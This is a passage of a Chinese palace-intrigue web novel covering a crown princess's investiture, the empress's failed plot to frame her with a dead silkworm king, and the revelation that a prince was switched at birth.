她缓缓颔首。 裴墨染离开不久,云清婳便接到线报。 赵婉宁死了。 “恭喜主子!谢小姐的仇已经报了大半!”飞霜笑着福福身,她的眼圈红了。 云清婳一脸的畅快。 “姐姐,咱们的仇人已经死了一个了!”她用手按住心脏,一颗泪从眼角滑落。 飞霜揩去眼泪,她笑道:“听说赵婉宁是被殿下派人吊死的,死前嘴里咿咿呀呀的,估计是想见殿下。被心爱的男人杀死,她也该瞑目了。” 云清婳扯出残忍的笑,“当初她非要攀附裴墨染,这苦果,自然也该由她亲自吞下。” 只有被心爱的男人亲手杀死,才最痛不是吗? 她不是想当女主吗?滋味如何? “殿下为了您杀了赵婉宁,但是裴云澈跟皇后,他恐怕不好动手。”飞霜叹了口气。 云清婳笑靥如花,“这两个人,我要亲自动手。” 在裴墨染面前,赵婉宁是下位者,但裴云澈、皇后不同。 裴云澈是他曾经最好的兄弟,而皇后是他的生母! …… 另一边,苏灵音被皇后召见入宫。 尽管上次在百日宴上,二人相互攀咬,但血浓于水,更何况二人现在有了相同的敌人? 皇后将裴墨染的身世说给了苏灵音。 苏灵音十分惊讶,但更多的却是欢喜。 她有些喜欢裴墨染了,而裴墨染也喜欢她,并且裴墨染是未来的皇上! 那么她岂不是很可能成为皇后?! “灵音,你跟墨染的感情如何了?”皇后揉揉太阳穴。 苏灵音的脸颊泛起了粉,她的眼神得意,“殿下因为百日宴的事,对我有误会,最近没来看我。 但他每次都会在云清婳面前维护我。而且,我确定云清婳扇过殿下巴掌!殿下恐怕对云清婳的感情不多了。” 第196章 册封大典 皇后的眼睛瞬间瞪大,她怒道:“那个贱人居然敢扇吾儿的脸!?谁给她的胆子?云清婳是不能留了!” 苏灵音的眼中闪过快意,她忽然想到什么,“只是,贤王该怎么办?” 皇后的表情急转直下,脸上露出无限的心疼、愧疚,“云澈是最孝顺的,跟苏家亲近,舅舅们都很喜欢他! 墨染倘若肯亲近苏家,倒也无妨。倘若他依旧忤逆,本宫跟你爹恐怕会继续扶持云澈。” 苏灵音的心咯噔一响。 也就是说,她可能当不了皇后! 但她跟苏家一荣俱荣,一损俱损,虽然皇后的诱惑力很大,但她会选择对苏家最有利的人。 “我知道了。”苏灵音沉声道。 皇后对苏灵音的表现很满意,她最看重的就是苏灵音的识大体。 “灵音,放心吧,明日云清婳的册封仪式成不了,她必定当不了太子妃。”皇后的眼中射出阴狠。 苏灵音的眼中覆盖着阴翳。 …… 晌午,御前嬷嬷给云清婳送来了蚕室的钥匙。 云清婳立即给御前嬷嬷赐上座。 她一脸真诚道:“嬷嬷,那一日多亏了你,否则我跟殿下……” “太子妃言重了!老奴可没做什么,不敢当啊!一切都是太子妃命中注定。”御前嬷嬷的唇上弯,只是笑不达眼底。 御前伺候的人,哪个没有七窍玲珑心? 他们岂会被小恩小惠拉拢? 飞霜端上名贵的贡茶,“嬷嬷请用。” 御前嬷嬷端起茶杯,刮了刮上面的茶叶,眉头渐渐舒展开,“明日的册封大典上,太子妃要亲自去蚕室请出蚕王,这象征着国运昌隆、百姓有衣穿,亦是上天对您的认可。” 她顿了顿,接着道:“蚕室的钥匙皇后一把,太子妃一把,务必要看好,若是蚕王有了闪失,许多人都要受牵连。” “我明白了。”云清婳的眸色微微低沉。 …… 翌日。 奉天殿。 裴墨染穿着杏黄色金丝绣蟒袍,发用玉冠束起,腰佩玉带,通身矜贵,铺天盖地的气场席卷而来。 云清婳穿着太子妃服制,头戴点翠花冠,与裴墨染携手一步步迈上台阶。 阶下群臣跪地,“见过太子、太子妃。” 二人视线碰撞,眼中含着喜悦。 “蛮蛮,你高兴吗?”他捏了捏她的手心。 云清婳笑靥如花,“夫君高兴,我便高兴。” “真傻。”裴墨染宠溺道。 他深深凝视着她的脸,将她此时华贵肃穆的模样印在心尖。 将来他会让蛮蛮更加华丽! 成为一人之下万人之上的女子! 裴云澈远远望着云清婳的背影,狭长的眸中悲恸闪动。 蛮蛮成了太子妃,可却不是他的太子妃。 一瞬间,他好像失去了两样最宝贵的东西。 人群中,睿王撞了下裴云澈的肩膀。 裴云澈嫌弃地轻拍肩膀,像被污秽沾染。 “呵呵……三皇兄,你这是不是叫做养虎为患?为他人做嫁衣?”睿王笑得肆意,眼中满是挑衅。 裴云澈温润的脸庞结了冰,目光如芒,刻薄道:“皇弟,你的入幕之宾如何了?还是先管好自己吧。” 扑哧—— 几个皇子都笑喷了。 谁都听出来裴云澈在讽刺睿王好龙阳之癖一事。 睿王的脸涨得通红,恨不得找条地缝钻进去。 可裴云澈却扬起了温润的笑。 足够把人气死。 大殿上,皇上、皇后坐在上首,太后坐在一侧。 皇上将太子册宝亲自交到裴墨染手中,脸色淡然,并不见喜色。 低沉而富有磁性的声音压下,“墨染,日后要谨慎持重,万不可出错。” “儿臣谨遵父皇教诲。”裴墨染恭敬道。 皇上捋着胡子,瞥了眼云清婳,“将玉如意交给太子妃吧。” “是。”裴墨染从礼部官员手中接过雕刻精美的冰种玉如意。 赐玉如意便意味着,太子妃之位尘埃落定,受到了皇室的认可。 台下,苏灵音的眼神刻毒。 她的手攥着拳头,眼睛死死盯着玉如意,妒火在肚中燃烧,好似把她的五脏六腑都灼疼了。 这柄玉如意本该是她的! 裴墨染一定是想送给她的! 云清婳看着玉质润泽,纯洁无瑕的美玉,心潮汹涌。 她终于要得到太子妃之位了! 将来她还会将皇后、太后之位收入囊中! 她福福身,伸出双手。 裴墨染正要将玉如意给她时,皇后出声打断:“晌午了,要请蚕王了,莫要误了吉时。” “嗯。”皇上摆摆手。 裴墨染蹙眉,攥着玉如意有些不知所措。 “是,臣妾这就将蚕王请来。”云清婳微微屈膝,仪态端庄的福身。 遂命带进宫的婢女去取蚕王。 少顷,只听蚕室传来尖叫声。 几个宫女小跑而来,吓得眼泪噗噗往外冒,“不好了,不好了!蚕王死了!” “奴婢几人一进去,就发现蚕王一动不动!” 霎时,众人的脸色都变了。 “这是上天预兆啊!莫不是有天灾降临,百姓颗粒无收,衣不蔽体?” 皇上的浓眉一蹙,眼神泛着寒气,射向云清婳,“这是怎么回事?” “臣妾不知!许是天气太热,蚕王没受住?”云清婳不卑不亢地分析。 皇后压住嘴边的笑,“皇上,蚕王可是万里挑一被养大的蚕,怎会被热死?这莫不是上天预示,清婳不适合做太子妃?” 云清婳的身子的摇摇欲坠,她像是收到打击,瘫坐在地上,“怎么会这样?” 一石激起千层浪,此话一出,许多官员应和道:“丝神发怒,上苍降罪啊!” 虞将军幸灾乐祸道:“蚕王莫不是被云清婳克死的?原先云清婳没当太子妃,也没听说蚕王出事!” 其他人纷纷道:“云清婳才掌管蚕室,蚕王就出了事,她若是当上太子妃,恐怕国无宁日啊!” 不善的眼光如刀子般落在云清婳的身上。 苏灵音的嘴角勾出了笑弧。 云清婳,你跟太子妃无缘了! 看来这位置,只能由我来坐了! 裴墨染将云清婳扶起,他的语气淡淡,却卷带着肃杀,“这只是巧合罢了,养蚕人不力,与太子妃何干?” 登时,所有人鸦雀无声,殿中落针可闻。 “皇上,为了天下苍生,册封太子妃一事不如先行搁置吧!”皇后福福身。 苏家人纷纷跪地,“求皇上三思!” 皇上正欲颔首,虞贵妃笑吟吟道:“皇上,皇孙怎能有身份低贱的母亲?若是不册封清婳,两个皇孙也受牵连啊。” 皇后的眼中蹭蹭冒着火星子,她恨不得将虞贵妃掐死。 虞贵妃笑得张狂,她素来喜欢跟皇后唱反调。 “求皇上看在承基、辞忧的面子上,调查此事,还臣妾清白。臣妾从未做过坏事,绝不会开罪上苍!”云清婳跪下,字字铿锵,底气十足。 云丞相出列,“求皇上给太子妃辩驳的机会!” “求皇上给太子妃辩驳的机会!”文官整齐的跪下。 皇上长袖一挥,“去查!” “是!”太监总管立即带人去查。 眼泪在云清婳的眼眶中打转,她的眼神直勾勾的射向了皇后。 皇后的眼中毫无温度,她笑看着云清婳,就像一条冷血的蛇。 查吧! 就算查到了,她也不怕! 因为她的细作,就是云清婳的自己人啊。 第197章 糟糕,她不会露馅了吧? 不多时,太监总管回来了。 侍卫拖着一个死透了的婢女放在门外。 “陛下,奴才查到了!”太监总管的面色惨白,眼神诡秘地从云清婳身上划过。 皇上轻扬下巴,他转动着拇指上的扳指,“是何人?” “是一个婢女!”太监总管道。 皇上蹙眉,“婢女?” 太监总管温吞的开口:“是太子妃的贴身婢女!这婢女服毒自尽,死在了蚕室外的假山后面。” 云清婳捂着嘴,眼眸瞪得浑圆,“翠芝死了?!” 裴墨染的眉头一沉,眼中盘旋着无数疑问。 为何蛮蛮带进宫的是面生的婢女翠芝,而不是飞霜? “枉本宫还以为蚕王出事是天意,现在看来是你故意为之。 你究竟意欲何为?居然派贴身婢女害死蚕王,莫不是想开罪丝神,迫害大昭国运?”皇后指着云清婳呵斥。 云清婳红着眼摇摇头,“皇后娘娘,就算翠芝死了,也不能证明是翠芝干的啊,或许是奸人害了翠芝。” “若不是心里有鬼,这婢女为何自尽?”皇后冷笑。 太监总管道:“此事铁证如山,绝对是翠芝做的!但翠芝只是傀儡,幕后黑手另有其人!” 说着,他从袖中拿出一封染了血渍的信。 “陛下,奴才在婢女身上找到了遗书。方才奴才已经派人去王府查证,上面的字迹跟此婢女平日的书信一致。” 皇后的眼中跳动着报复般的快感。 翠芝的遗书,字字句句可都在指责云清婳呢! 皇上说不定会一气之下废黜太子妃之位! “拿来。”皇上的声音重重砸下。 太监总管双手呈上信笺。 皇上打开信笺,垂眸一目十行,他的脸肉眼可见地沉下来。 裴墨染的心跳加速,他的心惴惴不安。 遗书里的东西,很有可能对蛮蛮不利。 裴云澈也担忧地看向云清婳。 皇后的手段他太熟悉了。 “谁会跟一个小小婢女过不去?怕不是婢女害死蚕王后,云清婳担心婢女暴露,所以把她逼死了。”虞贵妃幸灾乐祸地说。 皇后扶了扶发髻上的凤钗,“清婳,本宫对你很失望,无论你有意还是无意,蚕王已死,你难辞其咎!太子妃之位,你让本宫怎么放心交给你?” “……”云清婳抬眼,委屈地看向裴墨染。 裴墨染与她十指相扣,坚定地说:“放心。” 皇后的心思他一清二楚,除掉蛮蛮,再让苏灵音上位,让他沦为苏家的傀儡! “住口!”皇上的怒吼声在殿中回荡。 殿上众人忙不迭跪下叩首。 皇后暗喜,皇上看了遗书应当恨不得杀了云清婳吧? 苏灵音将脸埋得很低,这样就没人看见她的笑容有多灿烂。 云清婳,去死吧! 可下一秒,皇上沉声道:“婢女的遗书指认的幕后之人是……皇后!” 殿中的人都震惊地看向皇后。 皇后的脸皮瞬间红了,脸火辣辣的疼,像是尊严被人践踏。 她瘫坐在凤位上,噙着泪道:“不!一定是有人害臣妾!臣妾怎会认识一个小小的婢女?” 云清婳极力压制着嘴角的笑。 经过御前嬷嬷的点拨,以防万一,她昨晚就做了准备。 今日,飞霜出门前突然闹肚子,翠芝毛遂自荐自请进宫。 她当即明白翠芝是皇后的人。 皇上的眼神尖锐,仿佛能看穿她,“朕也很好奇,皇后怎会认识太子妃身边的婢女?” “……”皇后的手轻颤。 苏灵音忍不住开口:“陛下,臣妾斗胆,或许是这婢女诬赖栽赃皇后娘娘!” 苏将军出列,“陛下,倘若婢女没有钥匙,怎能进入蚕室?此事跟太子妃脱不了干系啊。” “皇上,方才宫女跟翠芝一进蚕室就发现蚕王已死,说明有人提前进入过蚕室。”云大公子出声辩解。 “就算有人提前进入蚕室,钥匙也是太子妃给的!” “够了!”苍老的声音打断双方的争执。 皇上看向一直保持沉默的太后,“母后?” 太后凝眉,她沉声道:“昨晚御前嬷嬷便受清婳所托,将钥匙交付哀家保管。方才是桂嬷嬷将蚕室的门打开的,与清婳无关。” “是吗?”皇上瞥向御前嬷嬷。 御前嬷嬷跪下,她叹了口气,“陛下,昨晚太子妃说害怕忘带钥匙,便托老奴将钥匙送去了慈宁宫。钥匙从始至终都没在太子妃手里!” 云清婳笑看着皇后。 老妖婆,没想到吧? 老娘从头到尾都没碰过钥匙! 翠芝的遗书也早就在出门前,被飞霜趁机换了。 皇后的脸都绿了,她的心脏骤停,快要站不稳。 众人瞪圆了眼,惊骇地看向皇后。 也就是说,翠芝遗书上说的,十有八九是真的! 毕竟蚕室的钥匙只有两把,另一把在皇后手上! “皇上,臣妾有罪。臣妾前些日子,将蚕室的钥匙弄丢了,定是被奸人偷了去。”皇后跪下,主动揽下错误,一副痛心疾首的自责模样。 “流年不利,总有贱人捣乱!”皇上故意咬重贱人二字,眼神锐利,“是得让国师开坛祭祀,驱邪避祸了!你说呢,皇后?” 苏家人的脸都绿了。 所有人都知道皇上是在暗讽皇后。 这相当于当众狠狠打了皇后的脸。 皇后的眼泪滑落,她的脸庞滚烫,屈辱地点头,“是、是……” 皇上冷冰冰地笑了,“皇后,另一把钥匙交给虞贵妃保管吧!册封大典继续。” “是,臣妾一定不会弄丢钥匙,给奸人机会再生祸端。”虞贵妃媚眼如丝,冲皇后露出胜利的笑容。 皇后气的咳嗽起来。 她用帕子捂着嘴,肺都快咳出来,她五脏六腑都在痉挛,低头一看,没成想咳出了血。 裴墨染将玉如意交到云清婳的手中。 云清婳握着玉如意,与他对望,眼中盛着水光。 …… 册封大典结束,裴墨染被众星捧月。 迎上来的谄媚的皇子、官员数不胜数,台阶外被堵得水泄不通。 裴墨染只觉得可笑,曾经嘲讽他、打压他的人都捧着笑脸迎上来,不恶心吗? 他的态度不冷不热,圆滑地应对。 而众人没注意到的是,裴云澈跟云清婳前后离开了。 僻静的假山后。 裴云澈红着眼,声音干涩嘶哑,“蛮蛮,其实那一日我看见了。” 云清婳的心脏漏跳了一拍。 哪一日? 他看见什么了? 她不会露馅了吧? 第198章 裴墨染:日后你只能打我 “你为了我,居然推裴墨染摔下台阶,意欲杀他。”裴云澈抱着她,呼吸沉重,“你不该为了我双手沾血,若是裴墨染追究起来怎么办?” 云清婳:??? 她差点笑了。 她在裴云澈心里居然这么伟大? “裴郎,我愿为你做任何事!我只想做你的妻子,裴墨染就算当上储君,我也是不稀罕的。”她顺水推舟,语气带着傲气。 裴云澈的眼中布满红血丝,妒忌的情绪快要将他理智淹没,他嫉妒地发疯。 东宫之位、蛮蛮都被一个卑贱的庶出抢走了! 这叫他怎么甘心? “蛮蛮,你相信我,如今的困顿是一时的,裴墨染当不了多久的储君。我不会让庶出的贱种上位,简直倒反天罡!”他的眼中翻滚着阴云。 云清婳欲言又止,“裴郎,其实,其实……”你才是庶出的贱种! “你想说什么?”裴云澈的语气柔和下来,他心疼地为她揩去眼角的泪。 她摇摇头,话锋一转,“前些日子承基中了毒,与您有关吗?” 裴云澈沉默了,过了半晌,他颔首。 啪—— 云清婳狠狠甩了他一巴掌,眼泪夺眶而出,“承基是我十月怀胎生下的啊!当初我要打胎,你偏不答应,为何现在又要夺走他?” 她必须要让裴云澈涨涨教训! 让他记住绝对不准碰孩子! 这是她将来当皇后、太后的武器! 裴云澈懵了。 他生来就是集万千宠爱于一身的嫡出皇子! 这辈子都没挨过打! 可蛮蛮居然打他! “蛮蛮,我爱你,但是我讨厌这个孩子!父皇太过看重他了!”裴云澈的眼神阴冷残忍,让人背后的汗毛竖起。 承基二字,有继承基业的意思,他绝不能忍受。 “我生下他,就会对他负责!我绝不容许任何人伤害他,哪怕是你!”她抹着眼泪。 裴云澈的语气冷了几分,“他是裴墨染的血脉,你也要护着他?别忘了我们的孩子是怎么死的!” 啪—— 云清婳抬手,又甩了他一巴掌。 “你这样做,跟赵婉宁、裴墨染又有什么区别?裴郎,我对你很失望,稚子无辜,你怎能对孩子下手?”她红着眼斥道。 裴墨染跟贴身太监赶来时,恰好看到云清婳扇裴云澈的脸。 “这……” 贴身太监目瞪口呆。 裴墨染甚至感觉到右脸火辣辣的疼,隐隐作痛。 他心里冒出了莫名其妙的情绪,真是便宜裴云澈了! “蛮蛮。”裴墨染快步上前,将云清婳护在怀里。 裴云澈瞥了裴墨染一眼,眼神讥诮,他转身就走。 “你们……怎么了?”他疑惑地看着云清婳。 她哽咽道:“因为承基的事情。” “日后不许打他,真是便宜他了。”裴墨染低声喃喃。 云清婳:??? 不是,哥,多少有点变态了。 “蛮蛮,承基的仇由我来报。你莫要跟他私下见面,我担心他对你不利。”他严肃地看着她。 她乖巧地点头,“知道了,我以后不会了。” “蛮蛮,你就是个小悍妇,见人就打。”他想到裴云澈方才的惨状,忍不住笑了。 恐怕方才是裴云澈这辈子第一次挨打! 看他吃瘪,还挺爽! 云清婳抬起眼皮,冷冷地瞥他,她阴阳怪气道:“太子殿下,臣妾哪敢打您啊?” “少来!你打少了?”他在她腰间捏了一把,“日后你只能打我,你的手不准碰裴云澈!” 他又补充:“更不准碰谢泽修!” 云清婳:??? “表哥这么好,我为什么要打他?”她白了他一眼。 裴墨染的脸色登时沉了下去,他咬牙切齿道:“谢泽修好,我就不好是吧?你这个女人没良心!” “逗你玩呢。”她发出银铃般的笑声。 裴墨染哼了一声。 她抱着他的胳膊,扬起小脸看他,一对杏眼澄澈,“夫君真生气了?” 裴墨染的嘴角没压下,弯了弯,“晚上再收拾你。” 他觉得这样很好。 虽然身穿华服,头戴贵重的冠羽,身份愈来愈尊贵,但不会隔开他们的感情,让他们渐行渐远,成为君臣夫妻。 云清婳的双腿发软。 狗男人!整日净想这些事! 虽然他伺候得好,但她还是吃不消。 就在这时,一个宫人福身,“太子殿下、太子妃,皇后娘娘召见。” “嗯。”裴墨染的眸色暗淡。 他正想去找皇后呢。 …… 翊坤宫外。 裴墨染跟云清婳又一次见到了裴云澈。 他的背脊挺得笔直,矜贵的傲气仿佛是与生俱来的,他的眼神疏离,明明睥睨一切,脸上却噙着温润的笑。 “太子也来给母后请安?”裴云澈的语气很淡,却带着浓重的嘲意。 剑拔弩张的气势,让守门的宫人瑟瑟发抖。 裴墨染并不恼,他只一眼看过去,只觉得裴云澈身上的妒忌快要溢出来。 他颔首,“……” 身居高位,他才明白一个道理。 当下位者无能狂怒的时候,没必要解释,很累,没必要。 难怪裴云澈从前总是能云淡风轻地包容一切。 或许是他的冷漠刺激到了裴云澈。 裴云澈的脸抽搐了下,他的眼神一厉,声音陡然变大,“裴墨染,你究竟在高傲什么?血战沙场,以命相搏,用本王的把柄才向父皇换来了东宫之位?” “人贵在有自知之明,庶出的贱种,当真能安心入主东宫?梦醒时分,当真不会担心废黜诏书传来?” “若不是本王失策,怎会被你抓住把柄?本王只恨当初母后收养了你,这才给大昭开了庶出贱种霍乱东宫的先例!” 他骂得十分难听,一改往日形象,十分失态。 云清婳知道裴云澈很装,没想到他这么装。 他的嫉妒心,不是一般的强啊。 裴墨染不恼,只是用怜悯的眼神睨他,“……” “呼呼呼……”裴云澈气得差点一口气喘不上来,他扶着胸口,面色涨红。 “贤王有轻微的喘症,您别把他气坏了。”云清婳撞了撞裴墨染的胳膊。 裴墨染觉得莫名其妙,他气裴云澈了吗? 他说什么了? 被召进寝殿。 裴云澈、裴墨染分列两边。 皇后心疼、愧疚地看着裴云澈。 她觉得是时候得揭开真相了。 云澈那么骄傲的一个人,肯定受不住打击。 可她却不得不说。 “母后,您说得对,养虎为患了!是本王当初太过心软,居然傻到将一条看门狗从西北召回!”裴云澈言辞粗俗地大骂。 “如今狗已经变成狼了,居然反咬我们母子一口!您多年的养育之恩,竟养出了这么一匹白眼狼!” “当初就该任他自生自灭!否则今日我也不会如此困顿!” 裴墨染讥讽一笑,戏谑地看着破口大骂的裴云澈。 “你笑什么?”裴云澈的眼眸微眯。 “你。”裴墨染吐出一个字。 裴云澈双目通红,他歇斯底里道:“裴墨染!你真觉得你配吗?你真觉得父皇会让你继承大业?你记住,你只是一条看门狗!” 裴墨染并不是很生气。 在战场上跟敌军叫骂惯了,相比起来,裴云澈的言辞幼稚得很。 “够了!”皇后眼含热泪,“云澈,其实你……不是本宫的儿子。” 裴云澈一怔。 皇后向他讲了曾经的往事,拿出了他跟宸妃相似的证据。 第199章 蛮蛮保护我,是我的英雄 “……” “所以你父皇才会将储君之位给墨染,或许是觉得愧疚,或许是心虚交换皇嗣的事闹大,有损威严。”皇后扶着心口,泣涕涟涟。 裴云澈像是被冻住,跟方才失态、崩溃的人形成了鲜明的对比,他身姿挺拔如松,一动不动。 良久,他冷笑一声,“母后是在说笑吗?” 皇后垂下头,捏着帕子擦眼泪,心疼道:“云澈,没关系的,母后永远是你的母后,本宫会一如既往地疼你。” “……”裴云澈的双臂颤抖,他几乎要崩溃了。 他从小都是天之骄子,是众星捧月般的存在。 父皇、母后把他当眼珠子疼,他的学问、品行、名气皆是兄弟中最好的。 他是温润君子,十全十美,挑不出错漏。 可现在告诉他,他是假的! 他是庶出! “云澈,算起来,我才是皇兄吧?”裴墨染讥讽地笑了,“我方才不语,真的不是瞧不起你,而是觉得你自己骂自己,很可悲。” 裴云澈眼神如箭,凶狠地射向他,一颗颗眼泪从他的眼角滑落。 他看起来,快要碎了。 裴墨染看似豪迈道:“云澈,庶出又有何妨?你享受了二十三年嫡子的荣光,你赚了啊!庶出虽然卑贱,但是本宫曾经淋过雨,所以会为你撑伞,本宫绝不会拿此事嘲讽你。” 云清婳差点扑哧笑出声。 狗男人是懂杀人诛心的。 “假的!一定是假的!”裴云澈的后槽牙磨得硌吱硌吱响。 皇后哽咽得说不出话,只能不住地流眼泪。 裴墨染道:“怎会是假的?本宫这里有宸妃的画像,你要不要看?你们的眼睛简直是一个模子里刻出来的。” “……”裴云澈像是全身最后的力气被抽走,脊梁被人打弯,肩膀垮了下去。 他踉踉跄跄夺门而出,想要逃避一切。 “够了!”皇后心疼不已,她重重拍桌,“墨染,你能不能不要咄咄逼人?你实在太刻薄了!云澈只是受不了刺激,才口不择言,你别逼他了!” 裴墨染尽管早就对皇后失望,可他心脏还是疼了一下。 原来皇后对他不好,他尚可安慰自己,他本就不是亲生母亲,何必要求太多?何必太贪心? 可如今,他忍不住问自己,为何皇后是他的亲生母亲? 皇后意识到自己的言辞过激,不禁后悔起来,“墨染,本宫只是……” “皇后娘娘,方才贤王骂太子是看门狗,您不出来主持公道。太子反击,您这时就知道主持公道了?”云清婳上前,将裴墨染护在身后。 “你住口!”皇后眼风一厉,“本宫跟太子说话,岂容你插嘴?你可知道妇德妇容?云家没人教你吗?” 云清婳红着眼,声音哽咽但气势不减,“在云家,父母疼爱臣妾,教臣妾辨别亲疏。绝不会为了外人,诘难自己的亲生女儿!” “方才贤王有人维护,可太子却没人维护,臣妾出来为夫君说句话何错有之?您不疼儿子,就不让臣妾疼自己的夫君吗?” 裴墨染的鼻梁泛酸,他看着云清婳娇小单薄的背影,却觉得她充满了力量。 方才皇后带来的一丝丝心疼,瞬间消失不见。 皇后一把掀翻了茶盏,“云清婳,你真当本宫拿你没办法?本宫以前一直以为你乖巧安分,没想到是个惯会挑拨离间的搅家精! 挑拨了本宫跟墨染的母子情,墨染就能被云家操控了是吗?你的算盘,路人皆知!” 云清婳正欲开口,低哑的男声就从身后传来,“母后,儿臣回京时遇到的刺客是裴云澈派来的!他想要儿臣的命!” 皇后的手抖了抖,眼中划过惊骇跟心疼,可很快就被其他情绪覆盖。 “那是云澈一时糊涂,你莫要跟他计较。墨染,原谅他这一次吧,他日后不会了。”皇后的声音颤抖,语气带着卑微的祈求。 裴墨染的鼻腔发出一声很轻的冷哼。 原来母亲真正担心儿子,会是这个反应。 他拉着云清婳的手,转身就走。 “墨染,等等!”皇后撕心裂肺地叫喊,像是大彻大悟。 裴墨染的脚步一顿。 “算母后求你,你不要伤害云澈,云澈失去一切已经很可怜了,他不能再受打击了。”皇后哀哀地说。 云清婳松了口气,她还真以为皇后知错了。 幸亏老妖婆执迷不悟,居然还敢给裴云澈求情。 “可以。”裴墨染淡淡地抛下一句话,加快了脚步。 皇后看着他冷漠的态度,心像是被刀片绞着疼,快碎成了糜,“墨染,给本宫一次机会补偿你好吗?” 裴墨染充耳不闻,他冷冽地开口,像是在威胁,“今日是最后一次,倘若再让儿臣发现你陷害蛮蛮,儿臣必不会再手下留情。” 前二十三年没有给过他补偿,后面他也不需要。 云清婳觉得这剧情,像极了小说里的真假千金,全家火葬场! 这里是高潮情节,母亲想要补偿真千金,可真千金已经心灰意冷,不需要了。 …… 杏黄色的蟒纹马车经过玄武门,出了宫。 裴墨染将云清婳抱到大腿上,目光柔和缱绻,大掌摩挲她的脸颊,“蛮蛮好厉害,方才保护我,是我的大英雄。” “讨厌!不许学我说话!”她气鼓鼓地瞪他。 他笑了,只是笑容沧桑,“蛮蛮,还好有你在。” 否则他会不断地陷入自我怀疑,觉得是自己不够好,所以才不得皇后喜欢。 可是有了妻子跟孩子后,他的心脏被塞得满满当当。 皇后偏爱何人,与他何关? “夫君会伤心吗?”她问。 裴墨染吐出一口浊气,“起初会有一些,可如今我已经不在乎了。” 云清婳心中了然,一切都在她的计划之中。 “夫君没有跟皇后和好,皇后定会不满,恐怕苏灵音会接着监视你。”她只敢浅薄地分析。 毕竟女子不得干政。 裴墨染颔首,“皇后实在愚昧,嫁给了父皇,居然一心向着苏家,想把我变成苏家的狗!” 他的话锋一转,“蛮蛮,你猜裴云澈接下来会怎么做?” “找到你的破绽、软肋,将你从东宫之位上拉下来。”她道。 “所以苏灵音得派上用场了。”裴墨染有些烦躁,他不愿跟苏灵音接触。 苏灵音躺在身侧时,他甚至不敢睡着。 他怕在梦中唤了蛮蛮的名字,让她发现破绽。 第200章 搬入东宫 裴墨染被立为太子,肃王府自然不能再住了。 整个王府都要迁去东宫。 云清婳一回府就跟管家、万嬷嬷交代迁府事宜。 裴墨染倚靠在贵妃榻上,将两个孩子抱在怀里玩。 他时不时瞥着云清婳,看着她,他心中松快,所有的烦恼一扫而空。 过了半个时辰,婢女便陆陆续续整理箱子抬了出去。 “夫君,别抱他们了,太重了。”她轻声道。 裴墨染将食指竖在唇前,他低声道:“他们快睡着了。” 不多会儿,两个孩子就一左一右趴在裴墨染的胸口睡着了。 “蛮蛮,你看,他们睡得好沉。”裴墨染将他们抱去小床上,神情慈爱。 两个孩子跟布娃娃似的,呼吸均匀,怎么摆弄都不醒。 “蛮蛮,你看。”他的眼中泛起新奇。 他把承基、辞忧的胳膊抬了起来,可两个小家伙没醒。 这是陷入深度睡眠了。 小婴儿的睡眠质量就是好啊。 云清婳的眼神晶亮,她跟着戳了戳他们的小脸蛋。 贴身太监跟飞霜无奈的对视。 两个主子怎么这么幼稚? 万嬷嬷复命时,看到二人这么摆弄孩子,心疼得不行。 她急得直拍大腿,心疼道:“殿下!太子妃!” 裴墨染、云清婳尴尬地直起身。 万嬷嬷将孩子抱走,眼神透着责怪,“殿下、太子妃,老奴先将孩子抱下去了。” 没东西玩了。 裴墨染冲云清婳使了个眼色:该干正事了。 云清婳屏退下人,让人将门窗阖上。 飞霜红了脸,“我们主子才出月子呢。殿下也真是的,大白天的就……” 贴身太监笑意满脸。 可突然门内传来低吼声。 “方才你怎能那样跟母后说话?无论如何,她毕竟是本宫的母亲!你作为儿媳,懂不懂孝悌?” 云清婳委屈道:“我替你说话也有错吗?我只是想保护你!” “保护?太子妃究竟是为了报复,还是为了本宫,你自己心里清楚!”裴墨染冷笑。 随后房中传出凄楚的啜泣声,“皇后借蚕室陷害于我,你可心疼过我一丝一毫?我为你生了两个孩子啊!” “少拿孩子压本宫!” 砰—— 屋中传来茶杯砸碎的声音。 屋外的婢女跪了一地。 万嬷嬷在孩子的寝房听到动静连声叹气,她连忙关进门窗。 二人方才不还好好的吗?怎么又吵架了? 紧接着房中传来更多瓷器破碎的声音。 “太子妃,你哪有半分当初贤惠温婉的模样?蚕室的事情还未水落石出,你怎能污蔑母后?” “就算母后不对,可你身为儿媳,也不能不敬!” “母后说得对,挑拨离间本宫与母后,你们云家就能从中得利了对吗?” “灵音就不会像你如此多心思!” 他的话越说越难听。 飞霜跟贴身太监都听不下去了,心脏突突直跳。 而云清婳充耳不闻,她正坐在桌前,津津有味地吃桂花糕。 裴墨染口干舌燥,他低声道:“蛮蛮,你也说一句啊,我都没话说了。” 她捻起一块桂花糕喂到他嘴边。 “我不……唔……” 云清婳强行将糕点塞进他嘴里。 他嚼着香甜的糕点,随手抄起一个白玉瓷杯砸了。 啪—— “裴墨染!”她的声音猛然拔高。 裴墨染微微一怔。 “这是我最喜欢的杯盏,谁让你砸的?”云清婳气红了眼。 “……”裴墨染瞬间蔫了,像极了霜打的茄子。 完了,这次是真要吵架了。 她捏着拳头砸他的胸口,“你赔我!你赔我!” “好,我赔、我赔!”他攥住她的小拳头。 云清婳哼了一声,“我讨厌你!” 裴墨染眉梢染上了霜雪,冷了下来。 下一瞬,他将她抱到榻上,强势地掠夺她的呼吸,“又讨厌我了?你昨晚可不是这么说的。” 她的双颊泛红,双臂勾住他的脖子,“女人在床上说的话,怎能算数?” 他忍俊不禁,“什么乱七八糟的?你都是在哪儿学的?” 帐中暧昧氤氲,系在床帐上的宫铃发出清脆的响声。 云清婳头上的点翠花冠还未摘下,撞到了床头,“诶呀,我的头冠。” “明日我命人给你修。”裴墨染堵住她的唇。 气温节节攀升。 …… 另一边,苏灵音得知了裴墨染与云清婳吵架的消息,她乐不可支。 “我就说他们二人的感情怎么突然这么好了,原来是积怨已深,做样子给外人看罢了。”苏灵音的脸上透着势在必得,眼神犀利。 “主子,听说玄音阁叮铃哐啷地响个不停,能砸的都砸了,太子妃的点翠冠都让人拿去修了。”巧慧幸灾乐祸地笑着。 苏灵音冷嘁了一声,脸上满是算计,“听说他们是因为姑母吵起来的,看来裴墨染还是渴望母爱的。我可不能沦为一个妾室,我至少得是太子侧妃。” 当晚,裴墨染便来了。 苏灵音见到裴墨染,双眼含泪,她扑进了他的怀里,“殿下,您终于来看妾身了!您是不是在怪妾身?百日宴那一日,真的不是妾身做的。” “灵音,本宫愿意相信你,但是没有证据,此事就别再提了。”裴墨染的神色严肃,不容置喙。 苏灵音有些委屈,“是。” 裴墨染的言下之意,不还是不信任她? 